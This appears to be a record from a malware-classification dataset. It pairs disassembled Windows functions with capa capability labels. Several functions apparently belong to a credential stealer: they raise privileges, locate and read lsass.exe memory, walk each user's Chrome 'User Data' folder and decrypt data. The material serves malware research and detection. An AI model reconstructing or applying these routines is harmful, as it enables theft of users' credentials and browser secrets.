joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10000124c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.100001180
add rsp, 0x28
jmp 0x100001270
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [section..data], rdi
jne 0x10000169f
mov eax, dword [0x100003014]
cmp eax, 1
je 0x1000016bf
mov eax, dword [0x100003014]
cmp eax, ebx
jne 0x1000016d6
mov dword [0x100003014], 1
lea r13, [0x100002168]
lea rdi, [0x100002150]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000131c
cmp eax, ebx
jne 0x10000131c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x100001311
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1000012fa
cmp eax, ebx
jne 0x1000016cc
mov eax, dword [0x100003014]
cmp eax, 1
jne 0x10000134c
lea rdx, [0x100002148]
lea rcx, [0x100002138]
call fcn.100133000
mov dword [0x100003014], 2
cmp r12d, ebx
jne 0x10000135b
mov rax, rbx
xchg qword [section..data], rax
cmp qword [0x1000035d8], rbx
jne 0x1000016e5
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x10000170e
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [rcx], 0x20
jbe 0x1000013ab
cmp word [rcx], 0x22
je 0x100001741
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x100001390
cmp word [rcx], bx
je 0x1000013b4
cmp edx, ebx
jne 0x100001396
cmp word [rcx], bx
je 0x1000013ca
cmp word [rcx], 0x20
ja 0x1000013ca
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000013b4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100001400
nop
jmp 0x100001715
cmp rax, rdi
jne 0x1000016af
mov r12d, 1
jmp 0x1000012ba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000012a9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x100001324
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e4], 1
jmp 0x100001324
lea rcx, [0x1000035d8]
call fcn.1000018fc
cmp eax, ebx
je 0x100001368
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1000035d8]
nop
jmp 0x100001368
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e0], eax
cmp dword [0x100003008], ebx
jne 0x10000172b
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000036e4], ebx
jne 0x10000173f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000036e0]
jmp 0x100001780
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x1000013a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x140001a64
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov eax, dword [0x14001807c]
mov edx, eax
mov rax, qword [0x140018048]
add rax, rdx
mov rcx, rax
mov rax, qword [0x140018040]
lea rdx, [rbp - 0x38]
mov r9, rdx
mov r8d, 8
mov rdx, rcx
mov rcx, rax
call fcn.140001791
mov rax, qword [rbp - 0x38]
and eax, 3
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x38]
and rax, 0xfffffffffffffffc
mov qword [rbp - 0x38], rax
mov rax, qword [0x140018088]
and eax, 0x811
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.140001450
shr eax, 2
mov dword [rbp - 0x14], eax
mov dword [rbp - 0x18], 0x100
cmp dword [rbp - 4], 2
je 0x140001c9f
cmp dword [rbp - 4], 2
ja 0x140001cad
cmp dword [rbp - 4], 0
je 0x140001b0c
cmp dword [rbp - 4], 1
je 0x140001bbc
jmp 0x140001cad
mov eax, dword [rbp - 0x14]
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x28], rax
mov eax, dword [0x140018080]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov rcx, rax
mov rax, qword [0x140018040]
lea rdx, [rbp - 0x30]
mov r9, rdx
mov r8d, 8
mov rdx, rcx
mov rcx, rax
call fcn.140001791
mov rax, qword [rbp - 0x30]
mov rdx, rax
lea rax, str._I64x_n
mov rcx, rax
call fcn.14000145e
mov rax, qword [rbp - 0x30]
and eax, 0x1000
test rax, rax
jne 0x140001b80
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp - 0x30]
or rax, qword [rbp - 0x10]
mov qword [rbp - 0x40], rax
mov eax, dword [0x140018080]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rdx, rax
mov rax, qword [0x140018040]
lea rcx, [rbp - 0x40]
mov r9, rcx
mov r8d, 8
mov rcx, rax
call fcn.14000190e
jmp 0x140001cad
mov eax, dword [rbp - 0x14]
mov edx, 0
div dword [rbp - 0x18]
mov dword [rbp - 0x1c], eax
mov eax, dword [rbp - 0x1c]
lea rdx, [rax*8]
mov rax, qword [rbp - 0x38]
add rax, rdx
mov rcx, rax
mov rax, qword [0x140018040]
lea rdx, [rbp - 0x38]
mov r9, rdx
mov r8d, 8
mov rdx, rcx
mov rcx, rax
call fcn.140001791
mov eax, dword [rbp - 0x1c]
imul eax, dword [rbp - 0x18]
sub dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
shl rax, 4
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov qword [rbp - 0x28], rax
mov eax, dword [0x140018080]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov rcx, rax
mov rax, qword [0x140018040]
lea rdx, [rbp - 0x30]
mov r9, rdx
mov r8d, 8
mov rdx, rcx
mov rcx, rax
call fcn.140001791
mov rax, qword [rbp - 0x30]
and eax, 0x1000
test rax, rax
jne 0x140001c66
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp - 0x30]
or rax, qword [rbp - 0x10]
mov qword [rbp - 0x40], rax
mov eax, dword [0x140018080]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rdx, rax
mov rax, qword [0x140018040]
lea rcx, [rbp - 0x40]
mov r9, rcx
mov r8d, 8
mov rcx, rax
call fcn.14000190e
jmp 0x140001cad
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
add rsp, 0x60
pop rbp
ret
Function at 0x140002707
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x4b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x41a], 0
mov word [rbp + 0x41e], 0
pxor xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movq qword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x1f0]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x4a
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x428], 0
mov qword [rbp + 0x420], 0
lea rax, [rbp + 0x41a]
mov r8d, 3
mov rdx, rax
lea rax, str.SystemDrive
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
call rax
lea rdx, [rbp + 0x41a]
lea rax, [rbp + 0x3f0]
mov r8, rdx
lea rdx, str._wsUsers
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
mov qword [rbp + 0x428], rax
cmp qword [rbp + 0x428], 0
je 0x140002991
cmp qword [rbp + 0x428], 0xffffffffffffffff
je 0x140002991
movzx eax, word [rbp - 0x34]
cmp ax, 0x2e
je 0x14000295e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
lea rax, [0x140011258]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x14000295e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
lea rax, [0x140011270]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x14000295e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
lea rax, [0x140011182]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x14000295e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
lea rax, [0x140011284]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x14000295e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
lea rax, [0x14001129e]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x14000295e
lea rax, str.UserName:
mov rcx, rax
call fcn.140001e60
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rcx, rax
call fcn.140004b24
lea rax, [0x140011144]
mov rcx, rax
call fcn.140001e60
lea rax, [rbp + 0x1f0]
mov edx, 0x1f4
mov rcx, rax
call fcn.14000f9f0
lea rax, [rbp - 0x60]
lea rcx, [rax + 0x2c]
lea rdx, [rbp + 0x41a]
lea rax, [rbp + 0x1f0]
mov r9, rcx
mov r8, rdx
lea rdx, str._wsUsers_wsAppDataLocalGoogleChromeUser_Data
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.1400023a0
jmp 0x14000295f
nop
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x428]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
test eax, eax
jne 0x140002810
mov rax, qword [rbp + 0x428]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x4b8
pop rdi
pop rbp
ret
Function at 0x140002a02
Capabilities:
Get session user name

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1cc], 0
mov dword [rbp - 0x54], 0x104
lea rax, [rbp + 0x1c4]
mov r9, rax
mov r8d, 0
mov edx, 1
mov ecx, 0x14
call sub.ntdll.dll_RtlAdjustPrivilege
mov dword [rbp + 0x1c8], eax
cmp dword [rbp + 0x1c8], 0
js 0x140002a5b
mov dword [rbp + 0x1cc], 1
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameW]
call rax
lea rax, [rbp - 0x50]
lea rdx, str.system
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIW]
call rax
test rax, rax
je 0x140002a95
mov dword [rbp + 0x1cc], 1
mov eax, dword [rbp + 0x1cc]
add rsp, 0x250
pop rbp
ret

Function at 0x140002aa4
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0xc0000004
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0
lea rax, [rbp - 0x30]
lea rdx, str.lsass.exe
mov rcx, rax
mov rax, qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
call rax
mov dword [rbp - 0x20], 0x1000
jmp 0x140002b1d
mov edx, dword [rbp - 0x20]
lea rcx, [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, edx
mov rdx, rax
mov ecx, 5
call sub.ntdll.dll_NtQuerySystemInformation
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jns 0x140002b1d
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
cmp dword [rbp - 4], 0xc0000004
jne 0x140002b47
mov eax, dword [rbp - 0x20]
mov eax, eax
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140002ae6
cmp dword [rbp - 4], 0
js 0x140002bbe
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
jmp 0x140002ba4
mov rax, qword [rbp - 0x18]
lea rdx, [rax + 0x38]
lea rax, [rbp - 0x30]
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.ntdll.dll_RtlEqualUnicodeString]
call rax
test al, al
je 0x140002b98
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x50]
mov rcx, rax
call fcn.1400029a0
mov rdx, qword [rbp + 0x10]
mov dword [rdx], eax
mov dword [rbp - 0x1c], 1
jmp 0x140002bae
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
mov eax, eax
add qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
test eax, eax
jne 0x140002b57
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov eax, dword [rbp - 0x1c]
add rsp, 0x50
pop rbp
ret
Function at 0x140002e1a
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea r8, [rbp - 0x50]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
test eax, eax
je 0x140002efb
movzx eax, word [rbp - 0x50]
cmp ax, 0x5a4d
jne 0x140002efb
mov edx, 0x108
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140002efb
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 8]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov r9d, 0x108
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
test eax, eax
je 0x140002eeb
mov rax, qword [rbp - 8]
mov eax, dword [rax]
cmp eax, 0x4550
jne 0x140002eeb
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
mov rax, qword [rbp + 0x20]
mov dword [rax], edx
mov rax, qword [rbp - 8]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x28]
mov dword [rax], edx
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
nop
add rsp, 0x90
pop rbp
ret
Function at 0x140003f7c
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp - 0x10], 0xc0000225
mov rax, qword [0x140018100]
mov rdx, qword [0x140018108]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x18]
and eax, 7
test eax, eax
je 0x140003fc6
lea rax, [0x1400180e8]
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0x10
jmp 0x140003fd8
lea rax, [0x1400180c8]
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 8
mov rax, qword [rbp - 8]
mov rax, qword [rax]
mov r8d, dword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov dword [rsp + 0x48], 0
lea rcx, [rbp - 0x24]
mov qword [rsp + 0x40], rcx
mov ecx, dword [rbp + 0x18]
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], rcx
mov ecx, dword [rbp - 0xc]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov rcx, rax
call sub.bcrypt.dll_BCryptDecrypt
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0x10]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x140004f7e
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp - 4], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x1c], 0
mov dword [rbp - 8], 0
mov rax, qword [rbp + 0x18]
mov qword [rax], 0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 7
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1400050e0
cmp qword [rbp - 0x18], 0xffffffffffffffff
je 0x1400050e0
mov rax, qword [rbp - 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov rdx, qword [rbp + 0x20]
mov dword [rdx], eax
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov dword [rbp - 8], eax
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
test eax, eax
jne 0x140005043
mov dword [rbp - 4], 1
cmp dword [rbp - 8], 0
je 0x1400050d0
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov eax, eax
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov rdx, qword [rbp + 0x18]
mov qword [rdx], rax
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
test rax, rax
je 0x1400050d0
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
mov qword [rbp - 0x10], rax
jmp 0x1400050ca
lea r8, [rbp - 0x1c]
mov ecx, dword [rbp - 8]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x1400050ca
mov eax, dword [rbp - 0x1c]
mov eax, eax
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x1c]
sub dword [rbp - 8], eax
mov dword [rbp - 4], 1
cmp dword [rbp - 8], 0
jne 0x140005086
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x60
pop rbp
ret
Function at 0x14000552b
Capabilities:
Create new key via cryptacquirecontext
Initialize hashing via wincrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov dword [rbp - 4], 0
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
je 0x1400055e5
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp + 0x10]
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
je 0x1400055d0
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 4]
mov dword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x50
pop rbp
ret

Function at 0x1400055ee
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov dword [rbp - 4], 0
mov dword [rbp - 8], 4
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
je 0x1400056a8
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x18]
mov edx, dword [rbp + 0x10]
mov r9, rcx
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenKey]
call rax
test eax, eax
je 0x140005693
mov rax, qword [rbp - 0x18]
lea rcx, [rbp - 8]
lea rdx, [rbp - 4]
mov dword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, dword [rbp - 4]
shr eax, 3
add rsp, 0x50
pop rbp
ret
Function at 0x1400056b4
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov dword [rbp - 4], 0
mov dword [rbp - 8], 4
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
je 0x14000576e
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x18]
mov edx, dword [rbp + 0x10]
mov r9, rcx
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenKey]
call rax
test eax, eax
je 0x140005759
mov rax, qword [rbp - 0x18]
lea rcx, [rbp - 8]
lea rdx, [rbp - 4]
mov dword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 9
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, dword [rbp - 4]
shr eax, 3
add rsp, 0x50
pop rbp
ret
Function at 0x14000673e
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
je 0x140006810
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov eax, eax
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov rdx, qword [rbp + 0x18]
mov qword [rdx], rax
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
test rax, rax
je 0x140006810
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
je 0x140006810
mov dword [rbp - 4], 1
mov eax, dword [rbp - 4]
add rsp, 0x50
pop rbp
ret

Function at 0x140006c30
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x1c], 0
mov eax, dword [rbp + 0x20]
mov dword [rbp - 4], eax
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 4
mov r9d, 0
mov r8d, 7
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140006d37
cmp qword [rbp - 0x18], 0xffffffffffffffff
je 0x140006d37
mov rax, qword [rbp - 0x18]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointer]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
call rax
jmp 0x140006d21
lea r8, [rbp - 0x1c]
mov ecx, dword [rbp - 4]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov eax, dword [rbp - 0x1c]
mov eax, eax
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x1c]
sub dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140006ce8
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x60
pop rbp
ret